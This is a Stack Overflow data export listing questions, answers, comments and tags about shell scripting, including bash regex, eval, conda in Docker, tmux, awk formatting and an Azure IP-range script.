has comment: http://stackoverflow.com/comment/135434180
upvote count: 1
has comment: http://stackoverflow.com/comment/135434156
downvote count: 0
score: 1

http://stackoverflow.com/q/76792437
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135382669
has comment: http://stackoverflow.com/comment/135387937
tagged with: azure-powershell
has comment: http://stackoverflow.com/comment/135388381
score: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/135391223
has body: While executing the powershell script for check avaiable free IP address with CIDR in exacting Vnet in Azure but getting failed as per below SS error. # Connect to your Azure account (if not already connected) Connect-AzAccount -Subscription xyz-sub # Define the Azure resource group and virtual network name $resourceGroupName = "network-01-rg" $virtualNetworkName = "network-01-vnet" # Get the virtual network object $virtualNetwork = Get-AzVirtualNetwork -ResourceGroupName $resourceGroupName -Name $virtualNetworkName # Check if the virtual network exists if (!$virtualNetwork) { Write-Host "Virtual network '$virtualNetworkName' not found in resource group '$resourceGroupName'." return } # Function to find a free IP CIDR range in a given subnet function Get-FreeIPCIDRRange { param ( [string]$subnetAddressPrefix, [array]$existingSubnets ) $subnetCIDR = [System.Net.IPAddress]::Parse($subnetAddressPrefix).GetAddressBytes() $subnetBits = $subnetAddressPrefix.Split("/")[1] foreach ($existingSubnet in $existingSubnets) { $existingCIDR = [System.Net.IPAddress]::Parse($existingSubnet.AddressPrefix).GetAddressBytes() $existingBits = $existingSubnet.AddressPrefix.Split("/")[0] # Calculate the number of addresses in each subnet $totalAddresses = [System.Math]::Pow(2, 32 - $existingBits) # Calculate the first address of the existing subnet $existingStartAddress = $existingCIDR[0] -band ([System.Net.IPAddress]::Broadcast -bxor ([System.Math]::Pow(2, 32) - [System.Math]::Pow(2, 32 - $existingBits))) # Calculate the last address of the existing subnet $existingEndAddress = $existingStartAddress + $totalAddresses - 1 # Calculate the first address of the new subnet $newStartAddress = $subnetCIDR[0] -band ([System.Net.IPAddress]::Broadcast -bxor ([System.Math]::Pow(2, 32) - [System.Math]::Pow(2, 32 - $subnetBits))) # If the new subnet's first address is greater than the existing subnet's last address, the range is free if ($newStartAddress -gt $existingEndAddress) { return $subnetAddres…
tagged with: ui-automation
has comment: http://stackoverflow.com/comment/135392663
has comment: http://stackoverflow.com/comment/135382567
has comment: http://stackoverflow.com/comment/135387966
has comment: http://stackoverflow.com/comment/135392915
has title: created PS_script which for know the free IP and CIDR in exacting Vnet in Azure but getting error
has comment: http://stackoverflow.com/comment/135382720
type: Question
answer count: 0
tagged with: shell

http://stackoverflow.com/comment/135354181
type: Comment
has text: Or maybe it's not in your distribution, so you need to install it.
comment on: http://stackoverflow.com/q/76776756
score: 0
type: QuestionComment

http://stackoverflow.com/q/76741997
has comment: http://stackoverflow.com/comment/135294886
has answer: http://stackoverflow.com/a/76742091
has body: Main concern/question I am implementing a simple shell written in C on with proper job control and I have some confusion as to how can a builtin command get to run in background meaning as a part of a background job? My machine: x86_64, linux 6.1.38-1 My approach For now the way I handle executing builtin commands is avoiding to fork the shell process and just normally execute the builtin_function() corresponding to that builtin command. Other non-builtin commands are handled by fork()ing the process and running exec(). For each non-builtin command there is a (my custom) process_t struct which holds pid_t of that fork and some other stuff, this gets then inserted into the (my custom) job_t struct that holds all of the process_t structs for that job/pipeline and most importantly the pid_t of that process group. Using this approach I can correctly print to the terminal all the processes certain background job holds and I can internally manage the status of a job/process very easily. Now the big question mark for me is how can I achieve this for a builtin command, I can't create a process_t for it because the command doesn't require fork()ing so the pid_t is exactly same. Lets say I create struct process_t for the builtin command and give it the same pid_t as the current process; what happens if user wants that pipeline/job to run in background but the builtin command in that job/pipeline is actually all the time running in the foreground potentially blocking the terminal input. What comes to mind is doing a separate function that also fork()s the main process and checks if the command is builtin and executes it and quits that process with some status (-1 status if command is not builtin). Then if command was not builtin fork() again and run it with exec(). This would actually allow it to be run in the background but I don't know if it is an optimal way of doing things. Or the other way around would be to actually pack executable binary files that correspond to each "b…
score: 0
accepted answer: http://stackoverflow.com/a/76742091
tagged with: shell
tagged with: linux
tagged with: http://stackoverflow.com/tag/c
answer count: 1
tagged with: built-in
type: AnsweredQuestion
has title: How are shell builtin commands run in background?
tagged with: job-control
type: Question
has comment: http://stackoverflow.com/comment/135294802

http://stackoverflow.com/comment/135424353
score: 1
has text: The non-greedy match is supported by PCRE.
type: Comment
comment on: http://stackoverflow.com/a/76817420
type: AnswerComment

http://stackoverflow.com/q/76752760
has comment: http://stackoverflow.com/comment/135320134
has comment: http://stackoverflow.com/comment/135320018
tagged with: conda
has body: Let me first present you my setup and at the end - my problem. I download and install mambaforge in my Dockerfile, then I build an env myenv (all as root with RUN instructions). What is relevant is the following sections: Dockerfile ##### SETUP ENTRYPOINT ##### COPY entrypoint.sh /bin/entrypoint.sh RUN /bin/bash -c "chmod +x /bin/entrypoint.sh \ && groupadd conda \ && chgrp -R conda /mambaforge \ && chmod 770 -R /mambaforge" ENTRYPOINT ["/bin/entrypoint.sh"] CMD ["/bin/bash"] entrypoint.sh #!/bin/bash ID=9001 useradd --shell /bin/bash -u $ID -o -c "" -m user export HOME=/home/user adduser user conda &> /dev/null /usr/sbin/gosu user /bin/bash -c "/mambaforge/bin/conda init bash &> /dev/null" echo "conda activate myenv" >> ${HOME}/.bashrc exec /usr/sbin/gosu user "$@" The logic is that I create a new group conda, give it permissions to the mambaforge installation directory and then (in the entrypoint script) I create a new user, add it to the group, initialise conda for him (that is .bashrc modification) and also append automatic activation of myenv environment to the rcfile too. Finally, I run what was left as the container command CMD as that user with gosu. The idea was to execute as non-root. This all works file with: $ docker run --name project -it project (myenv) user@bcdf6d7e29c4:$ In the interactive mode, as expected, I am the user and I already activated myenv. However, this does not work in non-interactive mode. One of the tools in myenv is make. $ docker run --name project project /bin/bash -c "source /home/user/.bashrc; make" /bin/bash: line 1: make: command not found What is going on? How do I correct it so that the 2nd command works too?
has comment: http://stackoverflow.com/comment/135313940
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/135314874
type: UnansweredQuestion
has title: Conda is not activated when runing a non-interactive shell in a docker container
has comment: http://stackoverflow.com/comment/135317918
tagged with: docker
score: 0
has comment: http://stackoverflow.com/comment/135314086
answer count: 0
tagged with: shell

http://stackoverflow.com/comment/135276897
comment on: http://stackoverflow.com/q/76731251
has text: Also, for the future, don't post screenshots of text -- just copy-and-paste the text itself. See [Why should I not upload images of code/data/errors?](https://meta.stackoverflow.com/a/285557/14122) on [meta]. [How do I format my code blocks?](https://meta.stackoverflow.com/questions/251361/how-do-i-format-my-code-blocks) describes how to do this and make it come out looking right.
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/135291027
type: QuestionComment
comment on: http://stackoverflow.com/q/76739629
type: Comment
has text: `eval` is rarely appropriate. I don't know why you're using it here.
score: 3

http://stackoverflow.com/comment/135304872
score: 2
type: QuestionComment
comment on: http://stackoverflow.com/q/76747690
type: Comment
has text: `wc -l` on the file which you are failing to pass to run_remote_command as $1 would give you the number of lines it contains. You could print a # for each tenth of the file.

http://stackoverflow.com/comment/135489351
type: Comment
has text: `df -h` can be asked to only print out information about one filesystem. That might be faster.
comment on: http://stackoverflow.com/q/76854869
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135506612
type: QuestionComment
comment on: http://stackoverflow.com/q/76864396
type: Comment
has text: There are surprisingly few commas in your CSV file ......
score: 3

systemctl
tags question: http://stackoverflow.com/q/76793211
tag name: systemctl
type: Tag
tags question: http://stackoverflow.com/q/77042234
tags question: http://stackoverflow.com/q/77043781

http://stackoverflow.com/comment/135262953
comment on: http://stackoverflow.com/a/76720707
type: Comment
type: AnswerComment
has text: @Praveen Well, if you don't have these intermediate subdirectories listed in your `names.txt` file, `find` will not search them. But of course, if they are listed in `names.txt`, they will be searched for. It's up to you. So, if you want `random_dir/sub_dir1` to be searched but not `random_dir`, just put `random_dir/sub_dir1` in `names.txt` and not `random_dir` alone.
score: 0

http://stackoverflow.com/comment/135496285
comment on: http://stackoverflow.com/a/76855717
has text: `eval` cannot set variables in the parent, that is the problem
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135529803
has text: It's not what you _want_, but it's the conventional, standard way to have a child process pass environment variables to a parent shell. Users are accustomed to it and will put up with it. If, as an information security person, someone asked me to give a process sudo or chroot (or exempt it from SELinux policies, or so forth) so it could attach to its parent and call `setenv()`, I'd laugh them out of the room.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76855717
score: 0

http://stackoverflow.com/comment/135333628
comment on: http://stackoverflow.com/q/76764965
score: 1
type: QuestionComment
type: Comment
has text: Instead of `--file=$line` use `<<< "$line"`

http://stackoverflow.com/comment/135346679
type: QuestionComment
has text: What @Robert says is true and very possible in your case. However, nothing prevents to give your executables an `.exe` extension on linux too.
type: Comment
comment on: http://stackoverflow.com/q/76768345
score: 0

http://stackoverflow.com/a/76778314
has body: @Priyansh: It seems like that you are trying to install on a drive that either has no space, or has no permission to write. You may try: Free some disk space OR Set the tmp folder somewhere with more space: npm config set tmp /path/to/big/drive/tmp OR Build Node yourself and install it somewhere writable with lots of space. Reference : https://docs.npmjs.com/common-errors#no-space
type: Answer
answers question: http://stackoverflow.com/q/76778171
score: 0

http://stackoverflow.com/a/76766636
type: Answer
upvote count: 2
score: 2
downvote count: 0
has body: Bash pattern matching Bash (and Zsh) can do regexp directly with "input" =~ pattern . I propose to always put the pattern in a variable. Avoids quoting headaches around the pattern. For your example line="INSERT INTO something VALUES('v1',v2','UPLOAD_REQUEST_RESULTS_DOWNLOADED',1,'v3','2023-07-15 23:36:53.0')" pattern='INSERT INTO something.*[UPLOAD_REQUEST_RESULTS_DOWNLOADED, UPLOAD_REQUEST_CANCELLED].*([0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9])' if "$line" =~ $pattern ; then echo "match" echo "${BASH_REMATCH[0]}" echo "${BASH_REMATCH[1]}" else echo "no match" fi The missing quotes around the $pattern are intentional and significant. A regex pattern in Bash is parsed special and need no quotes even if it has spaces. Also I had to slightly adapt your initial regex. A missing dot before the first '*' and removed the backslashes around the {}. A major benefit of doing regex directly with Bash (apart from the performance benefit of not having to fork an external command) is that you can use capture groups! When the pattern matches Bash will set a special array BASH_REMATCH where the first element is the entire patched string and each other element is a matched capture group. (for Zsh this is a bit different. See the array match or the shell option to emulate Bash's behavior) Process substitution Also an alternative to herestrings if you want to use grep is process substitution <( command ). Roughly: execute command and provide the output as if it was a file. line="INSERT INTO something VALUES('v1',v2','UPLOAD_REQUEST_RESULTS_DOWNLOADED',1,'v3','2023-07-15 23:36:53.0')" val=$(grep -Ec --regexp='INSERT INTO something*[UPLOAD_REQUEST_RESULTS_DOWNLOADED, UPLOAD_REQUEST_CANCELLED].*[0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\} [0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\}\.[0-9]' <(echo "$line")) echo "$val" And if you only want to know if the grep matches or not (which the -c indicates since there is max 1 line here) you can also place it in an if: if grep --silent -E p…
answers question: http://stackoverflow.com/q/76764965

http://stackoverflow.com/comment/135477836
type: QuestionComment
has text: You don't need both the the semicolon and the newline before the `do` keyword, but I don't think that's the problem. Maybe you need to put the command on one line? `for LIB_FOLDER in $LIB_FOLDERS ; do echo "FolderName- $LIB_FOLDER" ; done`
type: Comment
score: 1
comment on: http://stackoverflow.com/q/76848082

http://stackoverflow.com/q/76769065
possible better answer: http://stackoverflow.com/a/76769804
type: Question
tagged with: shell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135341129
has comment: http://stackoverflow.com/comment/135341786
has answer: http://stackoverflow.com/a/76770107
has comment: http://stackoverflow.com/comment/135341765
score: 0
accepted answer: http://stackoverflow.com/a/76770107
tagged with: bash
has title: Eval Failure Is Not Handled
has comment: http://stackoverflow.com/comment/135341813
has answer: http://stackoverflow.com/a/76769804
has body: I'm working on a configuration file parser to be used in a BASH script. It has the basic shell syntax of assignment for variables, but there's also some extra validation to avoid accidental misuse. Everything is working in a successful scenario. However, when the eval fails, the method of handling the failure is not executed. I am at a loss as to why it wouldn't be handled. Below I have made a reduced example that demonstrates the issue I have encountered. #!/usr/bin/env bash shopt -s -o nounset shopt -s -o errexit shopt -s -o pipefail shopt -s globstar shopt -s extglob #shopt -s -o xtrace IFS=$'\n\t' function loadConf() { local confFileLcl="$1" local lineLcl local optionLcl local valueLcl while IFS='' read -r lineLcl do lineLcl=${lineLcl%%#*} case "${lineLcl}" in *=*) optionLcl="${lineLcl%%=*}" valueLcl=${lineLcl#*=} valueLcl=${valueLcl//\"/} eval "${optionLcl}='${valueLcl}'" || echo "Failed to set '${optionLcl}'." esac done <"${confFileLcl}" } declare -frt loadConf # Create configuration file echo -e " var0=\"Value is set\" var1=\"This is not an integer\" " > "test.conf" # Create variable that is to be configured to succeed. declare var0="not-set" # Create variable that is to be configured to fail. declare -i var1=42 # Load the configuration file loadConf "test.conf" [[ "${var0}" == "Value is set" ]] || echo "Var0 check failed." [[ "${var1}" -eq 42 ]] || echo "Var1 check failed." I have tried various things to narrow down the issue, including disabling the enabled strict mode. This did not make a difference in the eval failure handling, only the type of error message printed. Execution Output: $ ./demo.sh ./demo.sh: line 27: This: unbound variable Line 27 is: eval "${optionLcl}='${valueLcl}'" || { echo "Failed to set '${optionLcl}'." ; true; } My expectation of the output would be: Failed to set 'var1'. Var1 check failed. Running with trace: $ ./demo.sh + IFS=' ' + declare -frt loadConf + echo -e ' var0="Value is set" var1="This is not an integer" ' + declare var0…
answer count: 2

http://stackoverflow.com/comment/135538177
score: 1
has text: You are using `export` for no apparent reason (don't worry, it is extremely common). At the start of your script, if `PROGRAM_COUNT` is set, then it came from the environment and there is no need to `export` it. When you assign a new value to PROGRAM_COUNT, it certainly does not need to to exported a second time. The purpose of `export` is to make the variable available in the environment of any children. It has no bearing at all on the caller of the script.
type: QuestionComment
comment on: http://stackoverflow.com/q/76881285
type: Comment

http://stackoverflow.com/comment/135378992
score: 0
type: QuestionComment
type: Comment
has text: @Kaz Yea, and the correct answer is ***Do not use `echò` for this! Prefer `printf` command!*** And the reason is clearly explained in answer I pointed to.
comment on: http://stackoverflow.com/q/76785187

http://stackoverflow.com/comment/135378358
score: 1
type: Comment
comment on: http://stackoverflow.com/q/76790926
type: QuestionComment
has text: What have you tried? How would _you_ do it? Do the same in shell.

http://stackoverflow.com/comment/135413374
type: QuestionComment
has text: try replacing the `echo`s with `printf '%q\n' "$abspathdel" "$relpathdel"` and see what's really in those variables
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76810973

http://stackoverflow.com/comment/135344308
type: Comment
comment on: http://stackoverflow.com/q/76770023
has text: In zsh, you would write the test as `$VERSION -gt $REQUIRED_VERSION `. Or, if you preferr: `(( VERSION > REQUIRED_VERSION ))`.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135368671
type: QuestionComment
comment on: http://stackoverflow.com/q/76781400
type: Comment
score: 0
has text: Have you consider to store the files and keywords in database? This will simplify the work and probably speedup the process.

http://stackoverflow.com/comment/135448317
type: Comment
comment on: http://stackoverflow.com/q/76831000
score: 0
has text: See [BashFAQ #50](https://mywiki.wooledge.org/BashFAQ/050) for an extensive discussion of exactly how and why `$cmd` is broken.
type: QuestionComment

http://stackoverflow.com/a/76747486
has body: This should do it: #!/bin/sh if [ -n "$1" ]; then new_surname="$1" sed -i "s/Mr\s\+\(\w\+\)/Mr ${new_surname}/g" /tmp/mr fi that is if the old surname is 1 word Regex can be further improved, but you should get the idea
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135304180
answers question: http://stackoverflow.com/q/76747469
has comment: http://stackoverflow.com/comment/135304187
has comment: http://stackoverflow.com/comment/135304160
score: 1
accepted answer of: http://stackoverflow.com/q/76747469
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/135304691
upvote count: 1

http://stackoverflow.com/comment/135354188
has text: Writing scripts in C shell is such a bad idea (see http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/) I wouldn't waste time with a program that does this.
type: Comment
comment on: http://stackoverflow.com/q/76776756
score: 0
type: QuestionComment

http://stackoverflow.com/q/76776756
tagged with: command
tagged with: scripting
tagged with: linux
has comment: http://stackoverflow.com/comment/135354188
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135354181
has comment: http://stackoverflow.com/comment/135354176
has comment: http://stackoverflow.com/comment/135354194
has body: how to install and run gauss view file? export GV_DIR=/gaussian/gview export LIBPATH=/gaussian/gview export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/gaussian/gview/lib PATH=$PATH:/gaussian/gview alias gv='gview.exe' cd gv ./gview After thar gaussian window is expected to be opened. But there is an error showing that bash: ./gview: /bin/csh: bad interpreter: No such file or directory how can i solve this problem?
score: 0
has title: Is gaussian window open command is ./gview?
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135362058

http://stackoverflow.com/a/77261257
answers question: http://stackoverflow.com/q/76854869
type: AcceptedAnswer
score: 0
accepted answer of: http://stackoverflow.com/q/76854869
type: Answer
has body: Turns out, the biggest problem was the top command itself. It requires at least a second or two to average the processor percentage. So, when I switched to Python, I used psutil to get the load averages on the processor - which are stored automatically every 5 seconds and averages over 1 minute, 5 minutes, and 15 minutes. It's practically instant. Once I took out top, and used python's psutil, shutil, and os libraries, everything works swimmingly. #!/Users/jacobjackson/repos/python_class/venv/bin/python3 import psutil import shutil import os vm = psutil.virtual_memory() memory_used = f"{round((vm.used / vm.total)*100)}%%" du = shutil.disk_usage("/") disk_percent = f"{round((du.used / du.total)*100)}%%" load1, load5, load15 = psutil.getloadavg() cpu_usage = f"{round(load5/os.cpu_count()*100)}%%" battery_status = psutil.sensors_battery() battery_percent = f"{battery_status.percent}%%" ac_power = battery_status.power_plugged if ac_power == True: power="" else: power="" print(f"{disk_percent} disk | {cpu_usage} cpu | {memory_used} mem | {battery_percent} {power}")

http://stackoverflow.com/a/76851363
has body: You wrongly assume that cd should return a have a non-zero exitcode. It is easily verified: ljm@verlaine[~]$ cd /tmp ljm@verlaine[/tmp]$ if cd &quot;&quot; ; then echo yes; fi /home/ljm yes ljm@verlaine[~]$ This proves that cd &quot;&quot; has a zero exitcode and cd-s to your home dir. Note that may .bashrc contains export CDPATH='~'
type: Answer
score: 2
answers question: http://stackoverflow.com/q/76850146
downvote count: 0
has comment: http://stackoverflow.com/comment/135483337
has comment: http://stackoverflow.com/comment/135483242
upvote count: 2

http://stackoverflow.com/comment/135467541
type: Comment
comment on: http://stackoverflow.com/q/76841295
score: 0
type: QuestionComment
has text: no, the ordering is not important. the version is 5.0.1

http://stackoverflow.com/comment/135333907
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76764989
has text: Thank you for the answer Diego, what is that operator "<<<"? is there some documentation for it?

http://stackoverflow.com/comment/135408759
has text: There are already many tools that can perform this function. `nmap` for one. Good luck.
comment on: http://stackoverflow.com/q/76808171
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135345083
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/76771254
type: Comment
has text: Your script was saved with DOS newlines. That's obvious because of the error message being printed at the beginning of the line instead of the end.

http://stackoverflow.com/comment/135410160
comment on: http://stackoverflow.com/a/76806828
type: Comment
type: AnswerComment
score: 0
has text: `it generates makefiles, so it doesn't make a difference` It generates makefiles, so it means, that cmake takes care of properly quoting your CPPFLAGS. The functionality you are searching for is part of cmake already. Thus the reference.

http://stackoverflow.com/a/76723631
answers question: http://stackoverflow.com/q/76722348
score: 1
has body: Just set your locale to one that displays numbers formatted as you want, e.g.: $ echo '2222222.22' | LC_ALL=de_DE awk '{printf "%\047.02f\n", $0}' 2.222.222,22 $ echo '2222222.22' | LC_ALL=da_DK awk '{printf "%\047.02f\n", $0}' 2.222.222,22 See https://stackoverflow.com/a/61911355/1745001 for some other locale possibilities and how to find one that works for you if neither of the above 2 do.
upvote count: 1
type: Answer
downvote count: 0

http://stackoverflow.com/comment/135519284
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76872375
has text: Try `read -s -p $'\nPlease enter username: ' username` instead. The point is the single quotes.
score: 8

http://stackoverflow.com/comment/135396103
type: Comment
comment on: http://stackoverflow.com/q/76765144
has text: plz post your zsh rc files: `.zprofile/.zshrc/.zlogin`
score: 0
type: QuestionComment

http://stackoverflow.com/a/76785815
score: 5
downvote count: 0
has comment: http://stackoverflow.com/comment/135369631
has comment: http://stackoverflow.com/comment/135369660
accepted answer of: http://stackoverflow.com/q/76785544
type: Answer
upvote count: 5
answers question: http://stackoverflow.com/q/76785544
has body: When you do exec tmux, that replaces the shell process with tmux. Tmux will then start another shell, which reads its config file and... replaces itself with tmux. Which will then start another shell, which reads its config file and replaces itself with tmux. It's an infinite loop. That's why you need to check if tmux is already one of the parent processes, which $TMUX being set is an indication for (technically any old process could set that variable, it's not protected or anything, the recommendation there is to just not do that). The reason it exits instead of actually looping forever is that tmux checks $TMUX - if you try to run tmux inside of a tmux session it'll tell you: sessions should be nested with care, unset $TMUX to force and then exit. So: fish becomes tmux which sets $TMUX starts another fish which becomes another tmux which refuses because $TMUX is already set and exits Because the leading process has exited, the outer tmux also exits - and since that's the top process in your terminal (because it used to be fish) your terminal tab closes. But regardless of how this fails, doing this without checking for $TMUX is never going to make any sense. You can see what would happen if you just kept starting tmux by doing the opposite of only doing it when $TMUX isn't set - only do it when TMUX isn't set, and clearing it: if set -q TMUX set -e TMUX exec tmux end When you then start TMUX=foo fish, it will see that $TMUX is set, erase it, become tmux. Tmux will then set $TMUX and start another fish, which will erase $TMUX and become another tmux. This will fill your terminal with multiple copies of the tmux bottom bar and not actually allow you to do anything! So if you do try this, you should keep a separate terminal open or have a separate login shell that you can use to stop it (by removing the lines from config.fish again). Do ensure that you have a way to remove this again, it's a fun experiment but could, under the right circumstances, wreck your ability t…
type: AcceptedAnswer

http://stackoverflow.com/comment/135261585
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76722146
has text: The only thing that springs in my eye is that you are talking about the standard output of the artisan command only, but not it's exit status. Have you tried capturing it's exit status code? What is it?

ansible
tags question: http://stackoverflow.com/q/76818451
tags question: http://stackoverflow.com/q/76870158
tags question: http://stackoverflow.com/q/76788743
tags question: http://stackoverflow.com/q/76816367
tag name: ansible
type: Tag
tags question: http://stackoverflow.com/q/76854223
tags question: http://stackoverflow.com/q/76946610
tags question: http://stackoverflow.com/q/77106862
tags question: http://stackoverflow.com/q/77255536
tags question: http://stackoverflow.com/q/77536468
tags question: http://stackoverflow.com/q/77638608
tags question: http://stackoverflow.com/q/77729489
tags question: http://stackoverflow.com/q/77613523
tags question: http://stackoverflow.com/q/77731615
tags question: http://stackoverflow.com/q/77879596
tags question: http://stackoverflow.com/q/78068150
tags question: http://stackoverflow.com/q/78231341
tags question: http://stackoverflow.com/q/78149316
tags question: http://stackoverflow.com/q/78315277
tags question: http://stackoverflow.com/q/78642051
tags question: http://stackoverflow.com/q/78847715
tags question: http://stackoverflow.com/q/79101344

http://stackoverflow.com/comment/135262322
comment on: http://stackoverflow.com/q/76722348
type: Comment
has text: `sub(/\./,",",tag2val[tags[i]]); while(tag2val[tags[i]] ~ /[0-9]{4}/) sub(/[0-9]{3}[\.,]/,".&",tag2val[tags[i]])`?
score: 0
type: QuestionComment

google-workflows
type: Tag
tag name: google-workflows
tags question: http://stackoverflow.com/q/76712749

http://stackoverflow.com/comment/135497818
score: 0
has text: hi @KamilCuk - only $5 and $6 are shell variables. Rest all are defined as groovy variable.
type: Comment
comment on: http://stackoverflow.com/q/76859636
type: QuestionComment

http://stackoverflow.com/comment/135512610
comment on: http://stackoverflow.com/q/76868047
type: QuestionComment
score: 0
type: Comment
has text: There's a decent summary of native `bash` arithmetic operators [here](https://tldp.org/LDP/abs/html/ops.html). The BashFAQ Wiki is [always a good source](https://mywiki.wooledge.org/ArithmeticExpression).

http://stackoverflow.com/comment/135357720
score: 0
has text: "js" is not Java. It's javascript. I don't think (un)installing openjdk is going to make a difference.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76779055

http://stackoverflow.com/comment/135343395
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76770526
has text: You are doing fine with the language, just provide [A Minimal Complete Reproducable Example](https://stackoverflow.com/help/minimal-reproducible-example)

http://stackoverflow.com/a/76802388
answers question: http://stackoverflow.com/q/76789602
type: Answer
score: 0
has body: You can compute the shorter list first and append the last element to compute the full list: $ cat Makefile max := 10 short := $(shell seq 1 `expr $(max) - 1`) long := $(short) $(max) .PHONY: all all: $(info short = $(short)) $(info long = $(long)) $ make short = 1 2 3 4 5 6 7 8 9 long = 1 2 3 4 5 6 7 8 9 10

http://stackoverflow.com/comment/135310612
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76751024
has text: You need to check the timestamps on the log entries of interest, not on the whole log, and you need to select only the new-enough entries. And then to send an e-mail only if any entries were in fact selected.

http://stackoverflow.com/comment/135473582
type: AnswerComment
comment on: http://stackoverflow.com/a/76845841
has text: In my case I do not need to worry about locking as children1 is not going to modify variables of children2 and vice-versa. Simply children1 and children2 will perform some operations and set flag based on the result then parent process will get the outputs and do sth based on the result, so I think locking is not needed, or I am mistaken? > btw I haven't know about `mktemp` quite usefull command, thx
score: 0
type: Comment

http://stackoverflow.com/a/76839623
has body: Works fine for me to convert from jpg to png in Imagemagick 6.9.12.93 on my Mac OSX Ventura convert blue.jpg x.png compare -metric rmse blue.jpg x.png null: 0 (0) Same result converting to PDF convert blue.jpg x.pdf bash-3.2$ compare -metric rmse blue.jpg x.pdf null: 0 (0) What is your IM version? Your jpg has no profile. You might want to add an sRGB.icc color profile before converting. That often helps as some viewers and systems handle that differently (add or don't add the profile automatically).
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76839109
has comment: http://stackoverflow.com/comment/135463899
has comment: http://stackoverflow.com/comment/135463961
has comment: http://stackoverflow.com/comment/135463933
has comment: http://stackoverflow.com/comment/135464258

http://stackoverflow.com/comment/135311753
type: Comment
score: 0
has text: Go online, read about regular expressions and sed. Also look within SO
comment on: http://stackoverflow.com/q/76751837
type: QuestionComment

http://stackoverflow.com/comment/135376823
score: 1
comment on: http://stackoverflow.com/q/76790012
has text: "Not advisable" more than "not possible". Barmar showed you how to do it, I'm explaining why you might not want to. :)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135402635
has text: Quick response whilst AFK: How about leaving the expansion to `make` rather than doing it in the shell? Have your Makefile reference/manipulate the envariable value with `$(DD)`? (I'll try for a more complete response later, but here's an idea until then..)
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76805103
type: QuestionComment

http://stackoverflow.com/a/76769908
type: Answer
answers question: http://stackoverflow.com/q/76768345
has body: You dont need to create bat file, you can create a bash file like below to run in side adb shell. E.g: file of script which contain below line echo "Arg1 is $1, arg2 is $2" $1 is your 1st argument $2 is your 2nd argument And put it in your device folder (/data/local/tmp/). Then run it with adb shell like below adb shell '/data/local/tmp/script a b' The result after running above should be Arg1 is a, arg2 is b
score: 0

http://stackoverflow.com/a/76783356
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/135365316
upvote count: 1
has comment: http://stackoverflow.com/comment/135365450
answers question: http://stackoverflow.com/q/76783341
has comment: http://stackoverflow.com/comment/135365363
type: Answer
has body: set -x | whatever or &gt;wherever just sends the output of the set -x itself - which doesn't output anything! It turns on tracing output, which comes from the shell, not any of the commands the shell runs. You can capture it, though; just by redirecting stderr, e.g. with exec 2&gt;&gt;trace.out set -x or, to have it go to both the screen and the file exec 2&gt; &gt;(tee -a trace.out) set -x

http://stackoverflow.com/q/76785108
tagged with: unix
answer count: 2
linked to: http://stackoverflow.com/q/40928492
has comment: http://stackoverflow.com/comment/135368596
type: Question
has comment: http://stackoverflow.com/comment/135368593
tagged with: arrays
upvote count: 0
type: UnansweredQuestion
tagged with: bash
has comment: http://stackoverflow.com/comment/135370035
has answer: http://stackoverflow.com/a/76785967
score: -2
favorite count: 0
linked to: http://stackoverflow.com/q/5725296
has title: Searching multiple arrays for values and returning the array name
has comment: http://stackoverflow.com/comment/135371785
downvote count: 2
has comment: http://stackoverflow.com/comment/135368411
has answer: http://stackoverflow.com/a/76786923
has body: I have an requirement wherein I have multiple values in a file and 8 arrays containing numeric values. For example: Array1=(1 2 3 4 5) Array2=(6 7 8 9 10) File has values 3 and 9. So it should return Array1 in first case and Array2 in second case. Also I want to store the result in another file having value followed by array name that contains that value. Unable to find any solution.
tagged with: shell
has comment: http://stackoverflow.com/comment/135371999

http://stackoverflow.com/comment/135319778
has text: Please read the descriptions of the tags you apply! At least two of them are wrong! You can [edit] your question to fix them. As a new user here, please also take the [tour] and read [ask].
comment on: http://stackoverflow.com/q/76756050
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135369660
type: AnswerComment
score: 0
has text: Ah, that explains why it exits instead of running indefinitely! Which is a bit nicer, but the point stands that `exec tmux` without the check is never gonna lead to good results.
comment on: http://stackoverflow.com/a/76785815
type: Comment

http://stackoverflow.com/q/76878032
tagged with: awk
type: Question
tagged with: shell
score: 1
upvote count: 1
